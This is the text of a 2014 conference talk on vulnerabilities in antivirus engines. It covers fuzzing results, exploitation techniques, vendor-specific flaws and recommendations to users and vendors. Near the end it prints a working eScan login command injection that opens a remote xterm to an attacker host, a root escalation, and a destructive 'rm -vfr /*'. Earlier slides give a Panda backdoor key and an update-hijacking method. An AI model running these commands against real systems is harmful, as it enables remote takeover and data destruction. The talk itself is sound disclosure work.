Breaking Antivirus Software Joxean Koret, COSEINC SYSCAN 360, 2014 Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Antivirus Engines n n Common features of AV engines: n Written in C/C++. n Signatures based engine + heuristics. n On-access scanners. n Command line/GUI on-demand scanners. n Support for compressed file archives. n Support for packers. n Support for miscellaneous file formats. Advanced common features: n Packet filters and firewalls. n Drivers to protect the product, anti-rootkits, etc... n Anti-exploiting toolkits. Antivirus products or engines n n An antivirus engine is just the core, the kernel, of an antivirus product. Some antivirus engines are used by multiple products. n n n n For example, BitDefender is the most widely used antivirus kernel. It's used by so many products like G-Data, eScan, FSecure, etc... Most “big” antivirus companies have their own engine but not all. And some companies, like F-Secure, integrate 3rd party engines in their products. In general, during this talk I will refer to AV engines, to the kernels, except when specified the word “product”. Attack surface n Fact: installing an application in your computer makes you a bit more vulnerable. n n n n You just increased your attack surface. If the application is local: your local attack surface increased. If the application is remote: your remote attack surface increased. If your application runs with the highest privileges, installs kernel drivers, a packet filter and tries to handle anything your computer may do... n Your attack surface dramatically increased. Myths and reality n Antivirus propaganda: n n n “We make your computer safer with no performance penalty!” “We protect against unknown zero day attacks!”. Reality: n n AV engines makes your computer more vulnerable with a varying degree of performance penalty. The AV engine is as vulnerable to zero day attacks as the applications it tries to protect from. n And can even lower the operating system exploiting mitigations, by the way... Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Attacking antivirus engines n AV engines, commonly, are written in non managed languages due to performance reasons. n n n It translates into buffer overflows, integer overflows, format strings, etc... Most AV engines installs operating system drivers. n n Almost all engines written in C and/or C++ with only a few exceptions, like the old MalwareBytes, written in VB6 (!?). It translates into possible local escalation of privileges. AV engines must support a long list of file formats: n n Rar, Zip, 7z, Xar, Tar, Cpio, Ole2, Pdf, Chm, Hlp, PE, Elf, Mach-O, Jpg, Png, Bz, Gz, Lzma, Tga, Wmf, Ico, Cur... It translates into bugs in the parsers of such file formats. Attacking antivirus engines n n n AV engines not only need to support such large list of file formats but they also need to do this quickly and better than the vendor. If an exploit for a new file format appears, customer will ask for support for such files as soon as possible. The longer it takes, the higher the odds of losing a customer moving on to another vendor. The producer doesn't need to “support” malformed files. The AV engine actually needs to do so. n The vendor needs to handle malformed files but only to refuse them as repairing such files is an open door for vulnerabilities. n Example: Adobe Acrobat Attacking antivirus engines n Most (if not all...) antivirus engines run with the highest privileges: root or local system. n n Most antivirus engines updates via HTTP only protocols: n n n If one can find a bug and write an exploit for the AV engine, (s)he just won root or system privileges. If one can MITM the connection (for example, in a LAN) one can install new files and/or replace existing installation files. It often translates in completely owning the machine with the AV engine installed as updates are not commonly signed. Yes. They aren't. I will show later one of the many vulnerable products... Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Vulnerabilities in AV engines n Started around end of July/beginning of August to find vulnerabilities, for fun, in some AV engines. n n In my spare time, some hours from time to time. Found remote and local vulnerabilities in 14 AV engines or AV products. n n n Most of them in the first 2 months. I tested ~17 engines (I think, I honestly do not remember). It says it all. n I'll talk about some of the vulnerabilities I discovered. n The following are just a few of them... AV engines vulnerabilities n Avast: Heap overflow in RPM (reported, fixed and paid Bug Bounty) n Avg: Heap overflow with Cpio (fixed...)/Multiple vulnerabilities with packers n Avira: Multiple remote vulnerabilities n BitDefender: Multiple remote vulnerabilities n ClamAV:Infinite loop with a malformed PE (reported & fixed) n Comodo: Heap overflow with Chm n DrWeb: Multiple remote vulnerabilities (vulnerability with updating engine fixed) n ESET: Integer overflow with PDF (fixed)/Multiple vulnerabilities with packers n F-Prot: Heap overflows with multiple packers n F-Secure: Multiple vulnerabilities in Aqua engine (all the F-Secure own bugs fixed) n Panda: Multiple local privilege escalations (reported and partially fixed) n eScan: Multiple remote command injection (all fixed? LOL, I doubt...) n And many more... How to find such vulnerabilities? n n In my case I used, initially, Nightmare, a fuzzing testing suite of my own. Downloaded all the AV engines with a Linux version I was able to find. n n n The core is always the same with the only exception of some heuristic engines. Also used some tricks to run Windows only AV engines in Linux. Fuzzed the command line tool of each AV engine by simply using radamsa + the testing suite of ClamAV, many different EXE packers and some random file formats. n Results: Dozens of remotely exploitable vulnerabilities. n Also, I performed basic local and remote checks: n ASLR, null ACLs, updating protocol, network services, etc... Fuzzing statistics n A friend of mine convinced me to write a fuzzer and do a “Fuzzing explained” like talk for a private conference. n Really simple fuzzing engine with a max. of 10 nodes. n n n Used this fuzzing suite to fuzz various Linux based AV engines, those I was able to run and debug. For that specific talk I did fuzz/test the following ones: n n I'm poor... I cannot “start relatively small, with 300 boxes” like Google people does. BitDefender, Comodo, F-Prot, F-Secure, Avast, ClamAV, AVG. Results... Initial experiment results n n ClamAV: 1 Remote DOS with a malformed icon resource directory in a PE. Avast: One possible RCE due to an uninitialized variable in code handling RPM archives. n F-Secure: One memory exhaustion bug with CPIO. n Comodo: 2 heap overflows, one handling CHM files. n n n F-Prot: Armadillo, PECompact, ASPack and Yoda's Protector unpackers heap overflows. AVG: CPIO and XAR heap overflows. BitDefender: Amazing number of bugs. Many likely exploitables. Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Exploiting AV engines n What will be briefly covered: n n Remote exploitation. What will be not: n n n Local exploitation of local user-land or kernel-land vulnerabilities. I have no knowledge about kernel-land, sorry. Later on, I will discuss some local vulnerability and give details about how to exploit it but it isn't kernel stuff and is too easy to exploit. Exploiting AV engines n n Exploiting an AV engine is like exploiting any other client-side application. n Is not like exploiting a browser or a PDF reader. n Is more like exploiting an Office file format. Exploiting memory corruptions in client-side applications remotely can be quite hard nowadays due to ASLR. n n However, AV engines makes too many mistakes too often so, don't worry ;) ... Exploiting AV engines n n In general, AV engines are all compiled with ASLR enabled. But it's common that only the core modules are compiled with ASLR. n n Not the GUI related programs and libraries, for example. Some libraries of the core of some AV engines are not ASLR enabled. n Check your target/own product, there isn't only one ;) Exploiting AV engines n Even in “major” AV engines... n ...there are non ASLR enabled modules. n ...there are RWX pages at fixed addresses. n ...they disable DEP. n Under certain conditions, of course. n The condition, often, is the emulator. Exploiting AV engines n n n The x86 emulator is a key part of an AV engine. It's used to unpack samples in memory, to determine the behaviour of an executable program, etc... Various AV engines create RWX pages at fixed addresses and disable DEP as long as the emulator is used. n n ... Very common. Does not apply to only some random AV engine. Exploiting AV engines (more tips) n n n By default, an AV engine will try to unpack compressed files and scan the files inside. A compressed archive file (zip, tgz, rar, ace, etc...) can be created with several files inside. The following is a common AV engines exploitation scenario: n n n Send a compressed zip file. The very first file inside forces the emulator to be loaded and used. The 2nd one is the real exploit. Exploiting AV engines n n n AV engines implement multiple emulators. There are emulators for x86, AMD64, ARM, JavaScript, VBScript, …. in most of the “major” AV engines. The emulators, as far as I can tell, cannot be used to perform heap spraying, for example. But they expose a considerable attack surface. n n It's common to find memory leaks inside the emulators, specially in the JavaScript engine. They can be used to construct complex exploits as we have a programming interface to craft inputs to the AV engine. Exploiting AV engines: Summary n n Exploiting AV engines is not different to exploiting other client-side applications. They don't have/offer any special self-protection. They rely on the operating system features (ASLR/DEP) and nothing else. n n There are programming interfaces for exploit writers: n n n And sometimes they even disable such features. The emulators: x86, AMD-64, ARM, JavaScript, ... usually. Multiple files doing different actions each can be send in one compressed file as long as the order inside it is kept. Owning the AV engine means getting root or system in all AV engines I tested. There is no need for a sandbox escape, in general. Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Details about some vulnerabilities in AV engines and products... Extracted from http://theoatmeal.com/comics/grump Copyright © Matthew Inman Disclaimer n I'm only showing a few of my vulnerabilities. n n I contacted 5 vendors for different reasons: n Avast. They offer a Bug Bounty. Well done guys! n ClamAV. Their antivirus is Open Source. n Panda. I have close friends there. n n I have the bad habit of eating 3 times a day... Ikarus, ESET and F-Secure. They contacted me an asked for help nicely. I do not “responsibly” contact irresponsible multi-million dollar companies. n I don't give my research for free. n Audit your products... Local Escalation of Privileges Example: Panda Multiple local EoPs n n In the product Global Protection 2013 there were various processes running as SYSTEM. Two of those processes had a NULL process ACL: n n n n WebProxy.EXE and SrvLoad.EXE We can use CreateRemoteThread to inject a DLL, for example. Two very easy local escalation of privileges. But the processes were “protected” by the shield. Example: Panda Multiple local EoPs n n n Another terrible bug: The Panda's installation directory had write privileges for all users. However, again, the directory was “protected” by the shield... What is the fucking shield? n ... Example: Panda Multiple local EoPs n n The Panda shield is a driver that protects some Panda owned processes, the program files directory, etc... It reads some registry keys to determine if the shield is enabled or disabled. n n But... the registry key is world writeable. Also, it's funny, but there is a library (pavshld.dll) with various exported functions... n ... Example: Panda Multiple local EoPs n n All exported functions contains human readable names. All but the 2 first functions. They are called PAVSHLD_001 and 002. n Decided to reverse engineer them for obvious reasons... n The 1st function is a backdoor to disable the shield. n It receives only 1 argument, a “secret key” (GUID): n n ae217538-194a-4178-9a8f-2606b94d9f13 If the key is correct, then the corresponding registry keys are written. n Well, is easier than writing yourself the registry entries... MOAR PANDAZ n n n n n There are more stupid bugs in this AV engine... For example, no library is compiled with ASLR enabled. One can write a reliable exploit for Panda without any real big effort. And, also, one can write an exploit targeting Panda Global Protection users for any program. Why? Because the product injects 3 libraries without ASLR enabled in all processes. Yes. Panda n n I reported the vulnerabilities because I have friends there. Some of them are (supposedly) fixed, others not... n n The shield backdoor. The permissions of the Panda installation directory. ASLR related (Address Space Layout Randomization) ASLR disabled n n n We already discussed that Panda Global Protection doesn't enable ASLR for all modules. Do you believe this is an isolated problem of just one antivirus product? As it is common with antivirus products/ engines, such problems are not specific... One example... Forticlient n The process av_task.exe is the actual AV scanner... Forticlient n Most libraries and binaries in Forticlient doesn't have ASLR enabled. n n Exploiting Forticlient with so many non ASLR enabled modules once a bug is found is trivial. You may think that this is a problem that doesn't happen to the “big” ones... n Think again. 2 random AVs nobody uses... Kaspersky n n Before SyScan 2014 Singapore, the libraries avzkrnl.dll and module vlns.kdl, a vulnerability scanner (LOL), were not ASLR enabled. One can write a reliable exploit for Kaspersky AV without any real effort. Kaspersky n n After SyScan 2014 Singapore, after making those ASLR bypasses publicly available to any body, they still didn't fix them. I don't know what to say... But it seems they simply don't care, like most of the AV companies in the industry. n Why bother fixing this issue if the scanner is running as system with the highest integrity level and without any kind of sandboxing? BitDefender n It's kind of easier to write an exploit for BitDefender... “Security service” my ass... BKAV n n n BKAV is a Vietnamese antivirus product. Gartner recognizes it as a “Cool vendor in Emerging Markets”. I recognize it as a “Cool antivirus for writing targeted exploits”... BKAV n They don't have ASLR enabled for their services... BKAV n n n And, like Panda, they inject a non ASLR enabled library system wide, the Bkav “firewall” engine... ...miserably failing at securing your computer. BTW, this vulnerability was made PUBLIC months ago, in SyScan 2014 Singapore. AV developers writing security software Remote Denial of Service Examples: ClamAV DOS n There is a bug in ClamAV scanning icon resource directories. n n If the number is too big, ClamAV would loop almost forever. Fixed by adding more limits to the engine. n Found via dumb ass fuzzing. n Reported. Because it's Open Source... n https://bugzilla.clamav.net/show_bug.cgi?id=10650 n The vulnerability was nicely handled by the ClamAV team (now Cisco). Decompression bombs (multiple AVs) n Do you remember them? If I remember correctly, the 1st discussion in Bugtraq about it was in 2001. n n n A compressed file with many compressed files inside or with really big files inside. It can be considered a remote denial of service. Do you think AV engines are not vulnerable any more to such bugs with more than +10 years? n In this case, you're wrong. n Look to the following table.... Failing AVs ZIP ESET GZ X (***) BZ2 BitDefender Sophos Comodo RAR X (***) 7Z X X (*) X X X X AVG X Ikarus X Kaspersky X (**) * Sophos finishes after ~30 seconds. In a “testing” machine with 16 logical CPUs and 32 GB of RAM. ** Kaspersky creates a temporary file. A 32GB dumb file is a ~3MB 7z compressed one. *** In my latest testing, ESET finishes after 1 minute with each file in my “small testing machine”. BitDefender engine n n BitDefender is a Romanian antivirus engine. Their AV core is the most widely distributed AV engine in other AV products. n n n To name a few: F-Secure, G-Data, eScan, LavaSoft, Immunet, ... It suffers from a number of vulnerabilities like almost all other AV engines/products out there. Finding vulnerabilities in this engine is trivial. n Some easy examples... BitDefender bugs n n n (Vulnerability fixed) Modifying 2 DWORDs in a PE file packed with Shrinker3 packer used to crash it: Those bytes were used to calculate the file and sections alignment of the new, in memory, unpacked PE file. When set to 0xFFFFFFFF and 0xFFFFFFF, both file and sections alignment were set to 0... BitDefender bugs n n ...and their values were used, later on, in some arithmetic operations: Those 2 bugs were trivial to discover. But they failed to find them by themselves... One more complex BitDefender bug... n n n (Vulnerability fixed) Modifying a single byte in a Thinstall installer would make it to crash: After modifying one byte, the decompressed content would get corrupt. And index to a table was calculated with the corrupted content... and data likely controlled by the attacker was copied to a position also likely controllable. Again: this bug was trivial to discover. TRIVIAL. BitDefender notes n n n n This and all BitDefender's bugs don't affect exclusively BitDefender's products. It affects many AV products out there as previously mentioned. Adding a new AV engine to your product may sound “cool” but you're making 3rd party bugs yours. And, by the way, you didn't audit it before adding to your product... n Otherwise, I doubt you would have added it. ESET Nod32 n n n ESET Nod32 is a well known Slovak AV engine. Like many other AV engines, it suffers from a number of vulnerabilities that can be trivially discovered. One little example: a malformed PDF file. n n A negative or big value for any element of a /W(idth) element with arrays used to crash it. A simple remote denial of service. ESET Nod32 bug with PDF files n According to ESET sources they use fuzzing as part of QA. n n n I think they are not doing it very well... Finding this bug was trivial, like all the ones I previously shown. This bug was reported and fixed by ESET. Remote Code Execution DrWeb antivirus n n DrWeb is a russian antivirus. Used, for example, by the largest bank (Sberbank) and the largest search engine in Russia (Yandex) + the Duma, to name a few customers. More of their propaganda (the original web page I got this information from is inaccessible since I disclosed just 1 vulnerability during SyScan 2014 Singapore): DrWeb updating protocol n n DrWeb used (still does it?) to update via HTTP only. They do not use SSL/TLS. It used to download a catalog file first: n Example for Linux: n n In the catalog file there was a number of updatable files + a hash for them: n n n http:///unix/700/drweb32.lst.lzma VDB files (Virus DataBases). DrWeb32.dll. The hash was, simply, a CRC32 and no component was signed, even the DrWeb32.dll library. DrWeb updating protocol n n n The “highest grade of certificate from the government” used to require the highest grade of checking for their virus database files and antivirus libraries: CRC32. Lol. To exploit in a LAN intercepting these domains was enough: n update.nsk1.drweb.com n update.drweb.com n update.msk.drweb.com n update.us.drweb.com n update.msk5.drweb.com n update.msk6.drweb.com n update.fr1.drweb.com n update.us1.drweb.com n update.nsk1.drweb.com ...and replacing drweb32.dll with your “modified” (lzma'ed) version. DrWeb updating protocol n Exploiting it was rather easy with ettercap and a quick Python web server + Unix lzma tool. n n I tested the bug under Linux: full code execution is possible. n n Though you need to be in a LAN to be able to do so, obviously. One Russian guy wrote a Metasploit exploit for Windows: n n You only need to calculate the CRC32 checksum and compress (lzma) the drweb32.dll file. http://habrahabr.ru/post/220113/ In my opinion, this updating protocol (is?) was horrible. DrWeb updating protocol vulnerability n The vulnerability was fixed and “an alert” issued. n In the “alert” they do not say they fixed a vulnerability. n n n The alert is not available in English, only Russian and, I think, Chinese. They only said that changes were made to increase the security of the update procedure. n n http://news.drweb.com/?i=4372&c=5&lng=ru&p=0 Technically true: From no security to some security. I did not research the update. It can be fun as I'm 99% sure they are doing it wrong. n I had no time to check for this conference, sorry :( eScan for Linux n n n I was bored some random night in Singapore and found that the eScan product have a Linux version. I downloaded and installed it (~1 hour because of the awful hotel's connection). Then I started checking what it installs, finding for SUID binaries, etc... n They use BitDefender and ClamAV engines, they don't have their own engine so, no need to test the scanners. n n I already had vulnerabilities for such engines... They install a Web server for management and a SUID binary called: n /opt/MicroWorld/sbin/runasroot eScan for Linux n n The SUID binary allows to execute root commands to the following users: n root n mwconf (created during installation). The eScan management application (called MwAdmin) is so flawed I decided to stop at the first RCE... It was fixed recently. n A command injection in the login form (PHP). In a “security” product. n Yes. n eScan for Linux login page eScan for Linux remote root n This specific bug required to know/guess an existing user. Not so hard. n n n n People from Immunity discovered more bugs that didn't require to guess a user name and used this application as a vuln-hunting teaching tool. The application is buggy as hell. It's only good for learning what not to do or how to write easy exploits, as a tutorial. The user name and the password were used to construct an operating system command executed via the PHP's function “exec”. n I was not able to inject in the user name. n But I was able to inject in the password. ... Source code of login.php (I) Source code of login.php (II) n n The password sent to the user was passed to check_user: There were some very basic checks against the password. n Specially for shell escape characters. n But they forgot various other characters like ';'. Source code of common_functions.php n Then, the given password was used in the function check_user like this: eScan for Linux RCE n My super-ultra-very-txupi-complex exploit for it: $ xhost + $ export TARGET=http://target:10080 $ curl --data "product=1&uname=valid@user.com&pass=1234567; DISPLAY=YOURIP:0;xterm;" $TARGET/login.php n Once you're in, run this to escalate privileges: $ /opt/MicroWorld/sbin/runasroot /usr/bin/ xterm n Or anything else you want... $ /opt/MicroWorld/sbin/runasroot rm -vfr /* Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Conclusions n n n In general, AV software... n ...doesn't make you any safer against skilled attackers. n ...increase your attack surface. n ...make you more vulnerable to skilled attackers. n ...are as vulnerable to attacks as any other application. Some AV software... n ...may lower your operating system protections. n ...are plagued of both local and remote vulnerabilities. Some AV companies... n ...don't give a fuck about security in their products. Breaking antivirus software n Introduction n Attacking antivirus engines n Finding vulnerabilities n Exploiting antivirus engines n Antivirus vulnerabilities n Conclusions n Recommendations Recommendations for AV users n n n Do not blindly trust your AV product. n BTW, do not trust your AV product. n Also, do not trust your AV product. n Nope. I cannot stress it enough. Isolate the machines with AV engines used for gateways, network inspection, etc... Audit your AV engine or ask a 3rd party to audit the AV engine you want to deploy in your organization. Recommendations for AV companies n Audit your products: source code reviews & fuzzing. n n n No, AV comparatives and the like are not even remotely close to this. Running a Bug Bounty, like Avast, is a very good idea too. Do not use the highest privileges possible for scanning network packets, files, etc... n n n You don't need to be root/system to scan a network packet or a file. You only need root/system to get the contents of that packet or file. Send the network packet or file contents to another, low privileged or sandboxed, process. Recommendations for AV companies n Run dangerous code under an emulator, vm or, at the very least, in a sandbox. I only know 1 AV using this approach. n n The file parsers written in C/C++ code are very dangerous. If one finds a vulnerability and it's running inside an emulator/ sandbox one needs also an escape vulnerability to completely own the AV engine. Why is it harder to exploit browsers than security products? Or use a “safer” language. Some AV products, actually, are doing this: Using Lua, for example. n n n Do not trust your own processes. They can be owned. n I'm not talking about signing the files. n I'm talking about your AV's running processes. Recommendations for AV companies n Do not use plain HTTP for updating your product. n Use SSL/TLS. n Also, digitally sign all files. n n n No, CRC is not a signature. Really. ...and verify there is nothing else after the signature. Also, verify the whole certification chain... Recommendations for AV companies n Drop old code that is of no use today or make this code not available by default. n n n n Code for MS-DOS era viruses, packers, protectors, etc... Parsers for file format vulnerabilities in completely unsupported products nowadays. Such old code not touched in years is likely to have vulnerabilities. Ignore any antivirus comparative company asking you to detect malwares from the Jurassic era. Avoid them. Questions?